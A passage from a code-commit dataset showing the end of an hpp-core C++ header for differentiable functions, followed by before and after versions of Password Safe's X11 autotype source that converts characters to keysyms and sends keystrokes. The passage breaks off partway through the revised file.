dofs to DifferentiableFunction.<commit_after>\/\/\n\/\/ Copyright (c) 2014 CNRS\n\/\/ Authors: Florent Lamiraux\n\/\/\n\/\/ This file is part of hpp-core\n\/\/ hpp-core is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ hpp-core is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Lesser Public License for more details. You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ hpp-core If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef HPP_CORE_DIFFERENTIABLE_FUNCTION_HH\n# define HPP_CORE_DIFFERENTIABLE_FUNCTION_HH\n\n# include <boost\/algorithm\/string\/replace.hpp>\n# include <boost\/assign\/list_of.hpp>\n# include <roboptim\/core\/indent.hh>\n# include <hpp\/core\/fwd.hh>\n# include <algorithm>\n\nnamespace hpp {\n namespace core {\n \/\/\/ Differentiable function of the robot configuration\n class DifferentiableFunction\n {\n public:\n typedef std::pair <size_type, size_type> Interval_t;\n typedef std::vector <Interval_t> Intervals_t;\n\n virtual ~DifferentiableFunction () {}\n \/\/\/ Evaluate the function at a given parameter.\n \/\/\/\n \/\/\/ \\note parameters should be of the correct size.\n void operator () (vectorOut_t result,\n\t\t\tConfigurationIn_t argument) const\n {\n\tassert (result.size () == outputSize ());\n\tassert (argument.size () == inputSize ());\n\timpl_compute (result, argument);\n }\n \/\/\/ Computes the jacobian.\n \/\/\/\n \/\/\/ \\retval jacobian jacobian will be stored in this argument\n \/\/\/ \\param argument point at which the jacobian will be computed\n void jacobian (matrixOut_t jacobian, ConfigurationIn_t argument) const\n {\n\tassert (argument.size () == inputSize ());\n\tassert (jacobian.rows () == outputSize ());\n\tassert (jacobian.cols () == inputDerivativeSize ());\n\timpl_jacobian (jacobian, argument);\n for (size_t i = 0; i < passiveDofs_.size(); i++)\n jacobian.middleCols (passiveDofs_[i].first, passiveDofs_[i].second).setZero ();\n }\n\n \/\/\/ Get dimension of input vector\n size_type inputSize () const\n {\n\treturn inputSize_;\n }\n \/\/\/ Get dimension of input derivative vector\n \/\/\/\n \/\/\/ The dimension of configuration vectors might differ from the dimension\n \/\/\/ of velocity vectors since some joints are represented by non minimal\n \/\/\/ size vectors: e.g. quaternion for SO(3)\n size_type inputDerivativeSize () const\n {\n\treturn inputDerivativeSize_;\n }\n \/\/\/ Get dimension of output vector\n size_type outputSize () const\n {\n\treturn outputSize_;\n }\n \/\/\/ \\brief Get function name.\n \/\/\/\n \/\/\/ \\return Function name.\n const std::string& name () const\n {\n\treturn name_;\n }\n\n \/\/\/ Display object in a stream\n virtual std::ostream& print (std::ostream& o) const\n {\n\tif (this->name ().empty ())\n\t return o << \"Differentiable function\";\n\n\tstd::stringstream ss;\n\tss << std::endl;\n\tchar fill = o.fill (' ');\n\tss << std::setw ((int)roboptim::indent (o))\n\t << \"\"\n\t << std::setfill (fill);\n\tstd::string name = this->name ();\n\tboost::algorithm::replace_all (name, \"\\n\", ss.str ());\n\n\treturn o << name << \" (differentiable function)\";\n }\n\n \/\/\/ Check whether this function is parametric.\n \/\/\/ \\return True if parametric.\n bool isParametric () const\n {\n return isParametric_;\n }\n\n \/\/\/ Make the function parametric or non-parametric.\n \/\/\/ \\param value True if you want a parametric projector.\n \/\/\/ \\note When change from true to false, the level set parameters of any\n \/\/\/ ConfigProjector containing the function should be recomputed using\n \/\/\/ ConfigProjector::offset.\n void isParametric (const bool& value)\n {\n isParametric_ = value;\n }\n\n \/\/\/ Set passive DOFs. Passive DOF cannot be modified by this function.\n \/\/\/ Corresponding columns of the jacobian are set to zero.\n const Intervals_t& passiveDofs (std::vector <size_type> dofs)\n {\n passiveDofs_.clear ();\n if (dofs.size () == 0) return passiveDofs_;\n std::sort (dofs.begin (), dofs.end ());\n std::vector <size_type>::iterator it =\n std::unique (dofs.begin (), dofs.end ());\n dofs.resize (std::distance (dofs.begin (), it));\n dofs.push_back (inputDerivativeSize_ + 1);\n size_type intStart = dofs[0], intEnd = dofs[0];\n for (size_t i = 1; i < dofs.size (); i++) {\n intEnd ++;\n if (intEnd == dofs[i]) {\n continue;\n } else {\n passiveDofs_.push_back (Interval_t (intStart, intEnd - intStart));\n intStart = intEnd = dofs[i];\n }\n }\n return passiveDofs_;\n }\n\n protected:\n \/\/\/ \\brief Concrete class constructor should call this constructor.\n \/\/\/\n \/\/\/ \\param inputSize function arity\n \/\/\/ \\param outputSize result size\n \/\/\/ \\param name function's name\n DifferentiableFunction (size_type inputSize,\n\t\t\t size_type inputDerivativeSize,\n\t\t\t size_type outputSize,\n\t\t\t std::string name = std::string ()) :\n\tinputSize_ (inputSize), inputDerivativeSize_ (inputDerivativeSize),\n\toutputSize_ (outputSize), isParametric_ (false),\n passiveDofs_ (), name_ (name)\n {\n }\n\n \/\/\/ User implementation of function evaluation\n virtual void impl_compute (vectorOut_t result,\n\t\t\t\t ConfigurationIn_t argument) const = 0;\n\n virtual void impl_jacobian (matrixOut_t jacobian,\n\t\t\t\t ConfigurationIn_t arg) const = 0;\n\n private:\n \/\/\/ Dimension of input vector.\n size_type inputSize_;\n \/\/\/ Dimension of input derivative\n size_type inputDerivativeSize_;\n \/\/\/ Dimension of output vector\n size_type outputSize_;\n \/\/\/ Whether this function is parametric\n bool isParametric_;\n \/\/\/ Intervals of passive dofs\n Intervals_t passiveDofs_;\n std::string name_;\n }; \/\/ class DifferentiableFunction\n inline std::ostream&\n operator<< (std::ostream& os, const DifferentiableFunction& f)\n {\n return f.print (os);\n }\n } \/\/ namespace core\n} \/\/ namespace hpp\n\n\n#endif \/\/ HPP_CORE_DIFFERENTIABLE_FUNCTION_HH\n<|endoftext|>"} {"text":"<commit_before>\/*\n* Copyright (c) 2003-2011 Rony Shapiro <ronys@users.sourceforge.net>.\n* All rights reserved. Use of the code is allowed under the\n* Artistic License 2.0 terms, as specified in the LICENSE file\n* distributed with this code, or available from\n* http:\/\/www.opensource.org\/licenses\/artistic-license-2.0.php\n*\/\n\n\/*\n * xsendstring - send a bunch of keystrokes to the app having current input focus\n *\n * Calls X library functions defined in Xt and Xtst\n *\n * +. Initialize all the params of XKeyEvent\n * + More escape sequences from http:\/\/msdn.microsoft.com\/en-us\/library\/h21280bw%28VS.80%29.aspx\n * + XGetErrorText and sprintf overflow\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <ctype.h>\n#include <string.h>\n#include <time.h>\n#include <vector>\n#include <errno.h>\n#include <limits.h>\n\n\n#include <X11\/Intrinsic.h> \/\/ in libxt-dev\n#include <X11\/keysym.h>\n#include <X11\/extensions\/XTest.h> \/\/ in libxtst-dev\n\n#include \".\/xsendstring.h\"\n#include \"..\/sleep.h\"\n#include \"..\/..\/core\/PwsPlatform.h\" \/\/ for NumberOf()\n#include \"..\/..\/core\/StringX.h\"\n\nnamespace { \/\/ anonymous namespace for hiding\n \/\/ local variables and functions\ntypedef struct _KeyPress {\n KeyCode code;\n unsigned int state;\n} KeyPressInfo;\n\nstruct AutotypeGlobals\n{\n\tBoolean\t\t\terror_detected;\n\tchar\t\t\terrorString[1024];\n\tKeyCode \t\tlshiftCode;\n pws_os::AutotypeMethod\tmethod;\n\tBoolean\t\t\tLiteralKeysymsInitialized;\n} atGlobals\t= { False, {0}, 0, pws_os::ATMETHOD_AUTO, False };\n\nclass autotype_exception: public std::exception\n{\n public:\n virtual const char* what() const throw() {\n return atGlobals.errorString;\n }\n};\n\n\/*\n * ErrorHandler will be called when X detects an error. This function\n * just sets a global flag and saves the error message text\n *\/\nint ErrorHandler(Display *my_dpy, XErrorEvent *event)\n{\n char xmsg[512] = {0};\n\n atGlobals.error_detected = TRUE;\n XGetErrorText(my_dpy, event->error_code, xmsg, NumberOf(xmsg) - 1);\n snprintf(atGlobals.errorString, NumberOf(atGlobals.errorString)-1, \"X error (%d): %s\\n\", event->request_code, xmsg);\n return 0;\n}\n\n\n\/*\n * - characters which need to be manually converted to KeySyms\n *\/\n\nstatic struct {\n char ch;\n const char* keystr;\n\tKeySym sym;\n} LiteralKeysyms[] =\n{\n { ' ', \t\t\"space\", \t\tNoSymbol },\n { '\\t', \t\"Tab\", \t\tNoSymbol },\n { '\\n', \t\"Linefeed\", \tNoSymbol },\n { '\\r', \t\"Return\", \t\tNoSymbol },\n { '\\010', \t\"BackSpace\", \tNoSymbol }, \/* \\b doesn't work *\/\n { '\\177', \t\"Delete\", \t\tNoSymbol },\n { '\\033', \t\"Escape\", \t\tNoSymbol }, \/* \\e doesn't work and \\e is non-iso escape sequence*\/\n { '!', \t\t\"exclam\", \t\tNoSymbol },\n { '#', \t\t\"numbersign\", \tNoSymbol },\n { '%', \t\t\"percent\", \t\tNoSymbol },\n { '$', \t\t\"dollar\", \t\tNoSymbol },\n { '&', \t\t\"ampersand\", \tNoSymbol },\n { '\"', \t\t\"quotedbl\", \tNoSymbol },\n { '\\'', \t\"apostrophe\", \tNoSymbol },\n { '(', \t\t\"parenleft\", \tNoSymbol },\n { ')', \t\t\"parenright\", \tNoSymbol },\n { '*', \t\t\"asterisk\", \tNoSymbol },\n { '=', \t\t\"equal\", \t\tNoSymbol },\n { '+', \t\t\"plus\", \t\tNoSymbol },\n { ',', \t\t\"comma\", \t\tNoSymbol },\n { '-', \t\t\"minus\", \t\tNoSymbol },\n { '.', \t\t\"period\", \t\tNoSymbol },\n { '\/', \t\t\"slash\", \t\tNoSymbol },\n { ':', \t\t\"colon\", \t\tNoSymbol },\n { ';', \t\t\"semicolon\", \tNoSymbol },\n { '<', \t\t\"less\", \t\t44 \t }, \/* I don't understand why we get '>' instead of '<' unless we hardcode this *\/\n { '>', \t\t\"greater\", \t\tNoSymbol },\n { '?', \t\t\"question\", \tNoSymbol },\n { '@', \t\t\"at\", \t\t\tNoSymbol },\n { '[', \t\t\"bracketleft\", \tNoSymbol },\n { ']', \t\t\"bracketright\", NoSymbol },\n { '\\\\', \t\"backslash\", \tNoSymbol },\n { '^', \t\t\"asciicircum\", \tNoSymbol },\n { '_', \t\t\"underscore\", \tNoSymbol },\n { '`', \t\t\"grave\", \t\tNoSymbol },\n { '{', \t\t\"braceleft\", \tNoSymbol },\n { '|', \t\t\"bar\", \t\t\tNoSymbol },\n { '}', \t\t\"braceright\", \tNoSymbol },\n { '~', \t\t\"asciitilde\", \tNoSymbol },\n};\n\n\nvoid InitLiteralKeysyms(void)\n{\n\tsize_t idx;\n\tfor (idx = 0; idx < NumberOf(LiteralKeysyms); ++idx)\n\t\tif (LiteralKeysyms[idx].sym == NoSymbol)\n\t\t\tLiteralKeysyms[idx].sym = XStringToKeysym(LiteralKeysyms[idx].keystr);\n\n\tatGlobals.lshiftCode = XKeysymToKeycode(XOpenDisplay(NULL), XK_Shift_L);\n}\n\nKeySym GetLiteralKeysym(char* keystring)\n{\n\tsize_t idx;\n\tfor (idx = 0; idx < NumberOf(LiteralKeysyms); ++idx)\n\t\tif (keystring[0] == LiteralKeysyms[idx].ch )\n\t\t\treturn LiteralKeysyms[idx].sym;\n\n\treturn NoSymbol;\n}\n\nvoid XTest_SendEvent(XKeyEvent *event)\n{\n\tXTestFakeKeyEvent(event->display, event->keycode, event->type == KeyPress, 0);\n}\n\nvoid XSendKeys_SendEvent(XKeyEvent *event)\n{\n XSendEvent(event->display, event->window, TRUE, KeyPressMask, reinterpret_cast<XEvent *>(event));\n}\n\nvoid XSendKeys_SendKeyEvent(XKeyEvent* event)\n{\n\tevent->type = KeyPress;\n\tXSendKeys_SendEvent(event);\n\n\tevent->type = KeyRelease;\n\tXSendKeys_SendEvent(event);\n\n\tXFlush(event->display);\n}\n\n\nvoid XTest_SendKeyEvent(XKeyEvent* event)\n{\n\tXKeyEvent shiftEvent;\n\n\t\/* must simulate the shift-press for CAPS and shifted keypresses manually *\/\n\tif (event->state & ShiftMask) {\n\t\tmemcpy(&shiftEvent, event, sizeof(shiftEvent));\n\n\t\tshiftEvent.keycode = atGlobals.lshiftCode;\n\t\tshiftEvent.type = KeyPress;\n\n\t\tXTest_SendEvent(&shiftEvent);\n\t}\n\n\tevent->type = KeyPress;\n\tXTest_SendEvent(event);\n\n\tevent->type = KeyRelease;\n\tXTest_SendEvent(event);\n\n\tif (event->state & ShiftMask) {\n\t\tshiftEvent.type = KeyRelease;\n\t\tXTest_SendEvent(&shiftEvent);\n\t}\n\n\tXFlush(event->display);\n\n}\n\nBool UseXTest(void)\n{\n\tint major_opcode, first_event, first_error;\n\tstatic Bool useXTest;\n\tstatic int checked = 0;\n\n\tif (!checked) {\n\t\tuseXTest = XQueryExtension(XOpenDisplay(0), \"XTEST\", &major_opcode, &first_event, &first_error);\n\t\tchecked = 1;\n\t}\n\treturn useXTest;\n}\n\nvoid InitKeyEvent(XKeyEvent* event)\n{\n\tint\t revert_to;\n\tevent->display = XOpenDisplay(NULL);\n\tXGetInputFocus(event->display, &event->window, &revert_to);\n\n\tevent->subwindow = None;\n\tevent->x = event->y = event->x_root = event->y_root = 1;\n\tevent->same_screen = TRUE;\n}\n\n\nint FindModifierMask(Display* disp, KeySym sym)\n{\n int modmask = 0;\n XModifierKeymap* modmap = XGetModifierMapping(disp);\n if (modmap) {\n const int last = 8*modmap->max_keypermod;\n \/\/begin at 4th row, where Mod1 starts\n for (int i = 3*modmap->max_keypermod && !modmask; i < last; i++) {\n \/\/\n const KeyCode kc = modmap->modifiermap[i];\n if (!kc)\n continue;\n int keysyms_per_keycode = 0;\n \/\/ For each keycode attached to this modifier, get a list of all keysyms\n \/\/ attached with this keycode. If any of those keysyms is what we are looking\n \/\/ for, then this is the modifier to use\n KeySym* symlist = XGetKeyboardMapping(disp, kc, 1, &keysyms_per_keycode);\n if ( symlist) {\n for (int j = 0; j < keysyms_per_keycode; j++) {\n if (sym == symlist[j]) {\n modmask = (i \/ modmap->max_keypermod);\n break;\n }\n }\n }\n }\n XFreeModifiermap(modmap);\n }\n assert( modmask >= 3 && modmask <= 7);\n return 1 << modmask;\n}\n\nint CalcModifiersForKeysym(KeyCode code, KeySym sym, Display* disp)\n{\n int keysyms_per_keycode = 0;\n const KeySym* symlist = XGetKeyboardMapping(disp, code, 1, &keysyms_per_keycode);\n if (symlist != NULL && keysyms_per_keycode > 0) {\n const int ModeSwitchMask = FindModifierMask(disp, XK_Mode_switch);\n const int Level3ShiftMask = FindModifierMask(disp, XK_ISO_Level3_Shift);\n int mods[] = {\n 0, \/\/none\n ShiftMask,\n ModeSwitchMask,\n ShiftMask | ModeSwitchMask, \n \/\/ beyond this, its all guesswork since there's no documentation, but see this:\n \/\/\n \/\/ http:\/\/superuser.com\/questions\/189869\/xmodmap-six-characters-to-one-key\n \/\/\n \/\/ Also, if you install mulitple keyboard layouts the number of keysyms-per-keycode \n \/\/ will keep increasing to a max of 16 (up to 4 layouts can be installed together \n \/\/ in Ubuntu 11.04). For some keycodes, you will actually have non-NoSymbol\n \/\/ keysyms beyond the first four\n \/\/ \n \/\/ We probably shouldn't go here if Mode_switch and ISO_Level3_Shift are assigned to\n \/\/ the same modifier mask\n Level3ShiftMask,\n ShiftMask | Level3ShiftMask,\n ModeSwitchMask | Level3ShiftMask,\n ShiftMask | ModeSwitchMask | Level3ShiftMask,\n };\n const int max_keysym_index = std::min(int(NumberOf(mods)), keysyms_per_keycode);\n for (int idx = 0; idx < max_keysym_index; ++idx) {\n if (symlist[idx] == sym)\n return mods[idx];\n }\n }\n \/\/ we should at least find the keysym without any mods (index 0)\n assert(0);\n return 0;\n}\n\n\/*\n * DoSendString - actually sends a string to the X Window having input focus\n *\n * The main task of this function is to convert the ascii char values\n * into X KeyCodes. But they need to be converted to X KeySyms first\n * and then to the keycodes. The KeyCodes can have any random values\n * and are not contiguous like the ascii values are.\n *\n * Some escape sequences can be converted to the appropriate KeyCodes\n * by this function. See the code below for details\n *\/\nvoid DoSendString(const StringX& str, pws_os::AutotypeMethod method, unsigned delayMS)\n{\n\n if (!atGlobals.LiteralKeysymsInitialized) {\n InitLiteralKeysyms();\n atGlobals.LiteralKeysymsInitialized = True;\n }\n\n XKeyEvent event;\n InitKeyEvent(&event);\n\n \/\/ convert all the chars into keycodes and required shift states first\n \/\/ Abort if any of the characters cannot be converted\n typedef std::vector<KeyPressInfo> KeyPressInfoVector;\n KeyPressInfoVector keypresses;\n\n for (StringX::const_iterator srcIter = str.begin(); srcIter != str.end(); ++srcIter) {\n\n \/\/throw away 'vertical tab' chars which are only used on Windows to send a shift+tab\n \/\/as a workaround for some issues with IE \n if (*srcIter == _T('\\v'))\n continue;\n \n \/\/This array holds the multibyte representation of the current (wide) char, plus NULL\n char keystring[MB_LEN_MAX + 1] = {0};\n\n mbstate_t state = mbstate_t();\/\/using init throw constructor because of missing initializer warning\n\n size_t ret = wcrtomb(keystring, *srcIter, &state);\n if (ret == static_cast<size_t>(-1)) {\n snprintf(atGlobals.errorString, NumberOf(atGlobals.errorString),\n \"char at index(%u), value(%d) couldn't be converted to keycode. %s\\n\",\n static_cast<unsigned int>(std::distance(str.begin(), srcIter)), static_cast<int>(*srcIter), strerror(errno));\n atGlobals.error_detected = True;\n return;\n }\n\n ASSERT(ret < (NumberOf(keystring)-1));\n\n \/\/Try a regular conversion first\n KeySym sym = XStringToKeysym(keystring);\n\n \/\/Failing which, use our hard-coded special names for certain keys\n if (NoSymbol != sym || (sym = GetLiteralKeysym(keystring)) != NoSymbol) {\n KeyPressInfo keypress = {0, 0};\n if ((keypress.code = XKeysymToKeycode(event.display, sym)) != 0) {\n \/\/non-zero return value implies sym -> code was successful\n keypress.state |= CalcModifiersForKeysym(keypress.code, sym, event.display);\n keypresses.push_back(keypress);\n }\n else {\n const char* symStr = XKeysymToString(sym);\n snprintf(atGlobals.errorString, NumberOf(atGlobals.errorString),\n \"Could not get keycode for key char(%s) - sym(%d) - str(%s). Aborting autotype\\n\",\n keystring, static_cast<int>(sym), symStr ? symStr : \"NULL\");\n atGlobals.error_detected = True;\n return;\n }\n }\n else {\n snprintf(atGlobals.errorString, NumberOf(atGlobals.errorString),\n \"Cannot convert '%s' to keysym. Aborting autotype\\n\", keystring);\n atGlobals.error_detected = True;\n return;\n }\n }\n\n XSetErrorHandler(ErrorHandler);\n atGlobals.error_detected = False;\n\n bool useXTEST = (UseXTest() && method != pws_os::ATMETHOD_XSENDKEYS);\n void (*KeySendFunction)(XKeyEvent*);\n\n if ( useXTEST) {\n KeySendFunction = XTest_SendKeyEvent;\n XTestGrabControl(event.display, True);\n }\n else {\n KeySendFunction = XSendKeys_SendKeyEvent;\n }\n\n for (KeyPressInfoVector::const_iterator itr = keypresses.begin(); itr != keypresses.end()\n && !atGlobals.error_detected; ++itr) {\n event.keycode = itr->code;\n event.state = itr->state;\n event.time = CurrentTime;\n\n KeySendFunction(&event);\n pws_os::sleep_ms(delayMS);\n }\n\n if (useXTEST) {\n XTestGrabControl(event.display, False);\n }\n else {\n XSync(event.display, False);\n }\n\n XSetErrorHandler(NULL);\n}\n\n} \/\/ anonymous namespace\n\n\/*\n * SendString - The interface method for CKeySend\n *\n * The actual work is done by DoSendString above. This function just\n * just throws an exception if DoSendString encounters an error.\n *\n *\/\nvoid pws_os::SendString(const StringX& str, AutotypeMethod method, unsigned delayMS)\n{\n atGlobals.error_detected = false;\n atGlobals.errorString[0] = 0;\n\n DoSendString(str, method, delayMS);\n\n if (atGlobals.error_detected)\n throw autotype_exception();\n}\n<commit_msg>We only need to track keysyms for wchar_t values less than 0x20<commit_after>\/*\n* Copyright (c) 2003-2011 Rony Shapiro <ronys@users.sourceforge.net>.\n* All rights reserved. Use of the code is allowed under the\n* Artistic License 2.0 terms, as specified in the LICENSE file\n* distributed with this code, or available from\n* http:\/\/www.opensource.org\/licenses\/artistic-license-2.0.php\n*\/\n\n\/*\n * xsendstring - send a bunch of keystrokes to the app having current input focus\n *\n * Calls X library functions defined in Xt and Xtst\n *\n * +. Initialize all the params of XKeyEvent\n * + More escape sequences from http:\/\/msdn.microsoft.com\/en-us\/library\/h21280bw%28VS.80%29.aspx\n * + XGetErrorText and sprintf overflow\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <ctype.h>\n#include <string.h>\n#include <time.h>\n#include <vector>\n#include <errno.h>\n#include <limits.h>\n\n\n#include <X11\/Intrinsic.h> \/\/ in libxt-dev\n#include <X11\/keysym.h>\n#include <X11\/extensions\/XTest.h> \/\/ in libxtst-dev\n\n#include \".\/xsendstring.h\"\n#include \"..\/sleep.h\"\n#include \"..\/..\/core\/PwsPlatform.h\" \/\/ for NumberOf()\n#include \"..\/..\/core\/StringX.h\"\n\nnamespace { \/\/ anonymous namespace for hiding\n \/\/ local variables and functions\ntypedef struct _KeyPress {\n KeyCode code;\n unsigned int state;\n} KeyPressInfo;\n\nstruct AutotypeGlobals\n{\n\tBoolean\t\t\terror_detected;\n\tchar\t\t\terrorString[1024];\n\tKeyCode \t\tlshiftCode;\n pws_os::AutotypeMethod\tmethod;\n\tBoolean\t\t\tLiteralKeysymsInitialized;\n} atGlobals\t= { False, {0}, 0, pws_os::ATMETHOD_AUTO, False };\n\nclass autotype_exception: public std::exception\n{\n public:\n virtual const char* what() const throw() {\n return atGlobals.errorString;\n }\n};\n\n\/*\n * ErrorHandler will be called when X detects an error. This function\n * just sets a global flag and saves the error message text\n *\/\nint ErrorHandler(Display *my_dpy, XErrorEvent *event)\n{\n char xmsg[512] = {0};\n\n atGlobals.error_detected = TRUE;\n XGetErrorText(my_dpy, event->error_code, xmsg, NumberOf(xmsg) - 1);\n snprintf(atGlobals.errorString, NumberOf(atGlobals.errorString)-1, \"X error (%d): %s\", event->request_code, xmsg);\n return 0;\n}\n\n\n\n\nvoid InitLiteralKeysyms(void)\n{\n\tatGlobals.lshiftCode = XKeysymToKeycode(XOpenDisplay(NULL), XK_Shift_L);\n}\n\nvoid XTest_SendEvent(XKeyEvent *event)\n{\n\tXTestFakeKeyEvent(event->display, event->keycode, event->type == KeyPress, 0);\n}\n\nvoid XSendKeys_SendEvent(XKeyEvent *event)\n{\n XSendEvent(event->display, event->window, TRUE, KeyPressMask, reinterpret_cast<XEvent *>(event));\n}\n\nvoid XSendKeys_SendKeyEvent(XKeyEvent* event)\n{\n\tevent->type = KeyPress;\n\tXSendKeys_SendEvent(event);\n\n\tevent->type = KeyRelease;\n\tXSendKeys_SendEvent(event);\n\n\tXFlush(event->display);\n}\n\n\nvoid XTest_SendKeyEvent(XKeyEvent* event)\n{\n\tXKeyEvent shiftEvent;\n\n\t\/* must simulate the shift-press for CAPS and shifted keypresses manually *\/\n\tif (event->state & ShiftMask) {\n\t\tmemcpy(&shiftEvent, event, sizeof(shiftEvent));\n\n\t\tshiftEvent.keycode = atGlobals.lshiftCode;\n\t\tshiftEvent.type = KeyPress;\n\n\t\tXTest_SendEvent(&shiftEvent);\n\t}\n\n\tevent->type = KeyPress;\n\tXTest_SendEvent(event);\n\n\tevent->type = KeyRelease;\n\tXTest_SendEvent(event);\n\n\tif (event->state & ShiftMask) {\n\t\tshiftEvent.type = KeyRelease;\n\t\tXTest_SendEvent(&shiftEvent);\n\t}\n\n\tXFlush(event->display);\n\n}\n\nBool UseXTest(void)\n{\n\tint major_opcode, first_event, first_error;\n\tstatic Bool useXTest;\n\tstatic int checked = 0;\n\n\tif (!checked) {\n\t\tuseXTest = XQueryExtension(XOpenDisplay(0), \"XTEST\", &major_opcode, &first_event, &first_error);\n\t\tchecked = 1;\n\t}\n\treturn useXTest;\n}\n\nvoid InitKeyEvent(XKeyEvent* event)\n{\n\tint\t revert_to;\n\tevent->display = XOpenDisplay(NULL);\n\tXGetInputFocus(event->display, &event->window, &revert_to);\n\n\tevent->subwindow = None;\n\tevent->x = event->y = event->x_root = event->y_root = 1;\n\tevent->same_screen = TRUE;\n}\n\n\nint FindModifierMask(Display* disp, KeySym sym)\n{\n int modmask = 0;\n XModifierKeymap* modmap = XGetModifierMapping(disp);\n if (modmap) {\n const int last = 8*modmap->max_keypermod;\n \/\/begin at 4th row, where Mod1 starts\n for (int i = 3*modmap->max_keypermod && !modmask; i < last; i++) {\n \/\/\n const KeyCode kc = modmap->modifiermap[i];\n if (!kc)\n continue;\n int keysyms_per_keycode = 0;\n \/\/ For each keycode attached to this modifier, get a list of all keysyms\n \/\/ attached with this keycode. If any of those keysyms is what we are looking\n \/\/ for, then this is the modifier to use\n KeySym* symlist = XGetKeyboardMapping(disp, kc, 1, &keysyms_per_keycode);\n if ( symlist) {\n for (int j = 0; j < keysyms_per_keycode; j++) {\n if (sym == symlist[j]) {\n modmask = (i \/ modmap->max_keypermod);\n break;\n }\n }\n }\n }\n XFreeModifiermap(modmap);\n }\n assert( modmask >= 3 && modmask <= 7);\n return 1 << modmask;\n}\n\nint CalcModifiersForKeysym(KeyCode code, KeySym sym, Display* disp)\n{\n int keysyms_per_keycode = 0;\n const KeySym* symlist = XGetKeyboardMapping(disp, code, 1, &keysyms_per_keycode);\n if (symlist != NULL && keysyms_per_keycode > 0) {\n const int ModeSwitchMask = FindModifierMask(disp, XK_Mode_switch);\n const int Level3ShiftMask = FindModifierMask(disp, XK_ISO_Level3_Shift);\n int mods[] = {\n 0, \/\/none\n ShiftMask,\n ModeSwitchMask,\n ShiftMask | ModeSwitchMask, \n \/\/ beyond this, its all guesswork since there's no documentation, but see this:\n \/\/\n \/\/ http:\/\/superuser.com\/questions\/189869\/xmodmap-six-characters-to-one-key\n \/\/\n \/\/ Also, if you install mulitple keyboard layouts the number of keysyms-per-keycode \n \/\/ will keep increasing to a max of 16 (up to 4 layouts can be installed together \n \/\/ in Ubuntu 11.04). For some keycodes, you will actually have non-NoSymbol\n \/\/ keysyms beyond the first four\n \/\/ \n \/\/ We probably shouldn't go here if Mode_switch and ISO_Level3_Shift are assigned to\n \/\/ the same modifier mask\n Level3ShiftMask,\n ShiftMask | Level3ShiftMask,\n ModeSwitchMask | Level3ShiftMask,\n ShiftMask | ModeSwitchMask | Level3ShiftMask,\n };\n const int max_keysym_index = std::min(int(NumberOf(mods)), keysyms_per_keycode);\n for (int idx = 0; idx < max_keysym_index; ++idx) {\n if (symlist[idx] == sym)\n return mods[idx];\n }\n }\n \/\/ we should at least find the keysym without any mods (index 0)\n assert(0);\n return 0;\n}\n\nKeySym wchar2keysym(wchar_t wc)\n{\n if (wc < 0x100) {\n if (wc >= 0x20)\n return wc;\n switch(wc) {\n case L'\\t': return XK_Tab;\n case L'\\r': return XK_Return;\n case L'\\n': return XK_Linefeed;\n case '\\010': return XK_BackSpace;\n case '\\177': return XK_Delete;\n case '\\033': return XK_Escape;\n default:\n return NoSymbol;\n }\n }\n if (wc > 0x10ffff || (wc > 0x7e && wc < 0xa0))\n return NoSymbol;\n return wc | 0x01000000;\n}\n\n\/\/converts a single wchar_t to a byte string [i.e. char*]\nclass wchar2bytes\n{\nprivate:\n \/\/MB_CUR_MAX is a function call, not a constant\n char* bytes;\npublic:\n wchar2bytes(wchar_t wc): bytes(new char[MB_CUR_MAX*2 + sizeof(wchar_t)*2 + 2 + 1]) {\n mbstate_t ps = {0};\n size_t n;\n if ((n = wcrtomb(bytes, wc, &ps)) == size_t(-1))\n snprintf(bytes, NumberOf(bytes), \"U+%04X\", int(wc));\n else\n bytes[n] = 0;\n }\n ~wchar2bytes() { delete [] bytes; }\n const char* str() const {return bytes;}\n};\n\n\/*\n * DoSendString - actually sends a string to the X Window having input focus\n *\n * The main task of this function is to convert the ascii char values\n * into X KeyCodes. But they need to be converted to X KeySyms first\n * and then to the keycodes. The KeyCodes can have any random values\n * and are not contiguous like the ascii values are.\n *\n * Some escape sequences can be converted to the appropriate KeyCodes\n * by this function. See the code below for details\n *\/\nvoid DoSendString(const StringX& str, pws_os::AutotypeMethod method, unsigned delayMS)\n{\n\n if (!atGlobals.LiteralKeysymsInitialized) {\n InitLiteralKeysyms();\n atGlobals.LiteralKeysymsInitialized = True;\n }\n\n XKeyEvent event;\n InitKeyEvent(&event);\n\n \/\/ convert all the chars into keycodes and required shift states first\n \/\/ Abort if any of the characters cannot be converted\n typedef std::vector<KeyPressInfo> KeyPressInfoVector;\n KeyPressInfoVector keypresses;\n\n for (StringX::const_iterator srcIter = str.begin(); srcIter != str.end(); ++srcIter) {\n\n \/\/throw away 'vertical tab' chars which are only used on Windows to send a shift+tab\n \/\/as a workaround for some issues with IE \n if (*srcIter == _T('\\v'))\n continue;\n\n \/\/Try a regular conversion first\n KeySym sym = wchar2keysym(*srcIter);\n\n if (NoSymbol != sym) {\n KeyPressInfo keypress = {0, 0};\n if ((keypress.code = XKeysymToKeycode(event.display, sym)) != 0) {\n \/\/non-zero return value implies sym -> code was successful\n keypress.state |= CalcModifiersForKeysym(keypress.code, sym, event.display);\n keypresses.push_back(keypress);\n }\n else {\n const char* symStr = XKeysymToString(sym);\n snprintf(atGlobals.errorString, NumberOf(atGlobals.errorString),\n \"Could not get keycode for key char(%s) - sym(%#X) - str(%s). Aborting autotype\",\n wchar2bytes(*srcIter).str(), static_cast<int>(sym), symStr ? symStr : \"NULL\");\n atGlobals.error_detected = True;\n return;\n }\n }\n else {\n snprintf(atGlobals.errorString, NumberOf(atGlobals.errorString),\n \"Cannot convert '%s' [U+%04X] to keysym. Aborting autotype\", wchar2bytes(*srcIter).str(), int(*srcIter));\n atGlobals.error_detected = True;\n return;\n }\n }\n\n XSetErrorHandler(ErrorHandler);\n atGlobals.error_detected = False;\n\n bool useXTEST = (UseXTest() && method != pws_os::ATMETHOD_XSENDKEYS);\n void 